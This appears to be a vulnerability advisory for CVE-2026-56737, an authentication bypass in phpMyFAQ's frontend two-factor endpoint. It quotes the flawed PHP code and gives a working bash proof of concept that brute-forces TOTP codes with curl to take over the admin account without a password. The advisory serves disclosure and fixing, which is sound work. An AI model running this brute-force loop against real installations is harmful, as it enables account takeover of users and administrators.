CVE-2026-56737: phpMyFAQ's two-factor authentication login bypasses the password factor

Summary The public two-factor verification endpoint POST /check logs a user in based solely on a valid 6-digit TOTP token and a chosen user-id. It does not require — and is not bound to — a prior successful password authentication. For any account that has 2FA enabled, an unauthenticated attacker can authenticate without knowing the password, reducing the account to a single factor (a 6-digit code) that is itself brute-forceable because this endpoint has no lockout (see Finding #2). This is an authentication bypass of the primary credential for all 2FA-protected accounts, including administrators.

Details src/phpMyFAQ/Controller/Frontend/AuthenticationController.php:255-283:

php #[Route(path: '/check', name: 'public.auth.check', methods: ['POST'])] public function check(Request $request): RedirectResponse { if ($this->currentUser->isLoggedIn()) { return new RedirectResponse(url: './'); }

$token = Filter::filterVar($request->request->get('token'), FILTERSANITIZESPECIALCHARS); $userId = (int) Filter::filterVar($request->request->get('user-id'), FILTERVALIDATEINT);

if ($userId <= 0) { / ... / }

$this->currentUserService->getUserById($userId); // loads attacker-chosen user

if (strlen((string) $token) === 6) { $result = $this->twoFactor->validateToken($token, $userId); if ($result) { $this->currentUserService->twoFactorSuccess(); // full login, no password ever checked return new RedirectResponse(url: './'); } } // ... }

twoFactorSuccess() performs a complete session login (src/phpMyFAQ/User/CurrentUser.php:239-247):

php public function twoFactorSuccess(): bool { $this->setLoggedIn(true); $this->updateSessionId(true); $this->saveToSession(); $this->setSuccess(true); return true; }

There is no server-side state (such as a "password already verified for this user" flag) tying the /check step to the password step. Compare the admin flow, which does it correctly via a 2fapendinguserid session value set only after the password is validated (src/phpMyFAQ/Controller/Administration/AuthenticationController.php:218-262) — proving the frontend omission is a regression, not an intended design.

validateToken() (src/phpMyFAQ/User/TwoFactor.php:87-101) returns false when the user has no secret, so this is not a universal bypass of all accounts — it specifically defeats the password factor of every 2FA-enabled account:

php public function validateToken(string $token, int $userId): bool { if (strlen($token) !== 6 || $userId <= 0) { return false; } $this->currentUser->getUserById($userId); $secret = $this->currentUser->getUserData('secret'); if (!isstring($secret) || $secret === '') { return false; } // no 2FA -> false return $this->twoFactorAuth->verifyCode($secret, $token); // 6-digit TOTP only }

Because /check has no failed-attempt lockout and the per-account login throttle is disabled by default (Finding #2), the 6-digit code can be brute-forced across TOTP windows. The net effect: 2FA, intended to strengthen the password, becomes the only barrier and is independently guessable.

PoC Pre-req: a target account (e.g. admin) has 2FA enabled (a common hardening choice). The attacker knows or enumerates the numeric user-id (1 = first/admin account in default installs).

bash No password required. Submit user-id + a 6-digit TOTP guess to /check. Iterate the token space; the session cookie returned on success is an authenticated session. for code in $(seq -w 0 999999); do curl -ks -c jar.txt -b jar.txt \ -X POST "https://target/check" \ --data-urlencode "user-id=1" \ --data-urlencode "token=$(printf '%06d' 10#$code)" \ -o /dev/null -w "%{httpcode} %{redirecturl}\n" \ | grep -q './' && echo "[+] logged in with token $code" && break done A successful guess yields a logged-in session in jar.txt -> full account takeover (no password used). If the attacker already controls or has phished the victim's TOTP device, a single request authenticates with no password at all.

Impact Authentication bypass (CWE-287) / missing authentication for a critical step (CWE-306). The password — the primary credential — is never required for any 2FA-enabled account. Combined with the absent lockout, this enables full account takeover of users and administrators. Impacted: any deployment where users enable two-factor authentication.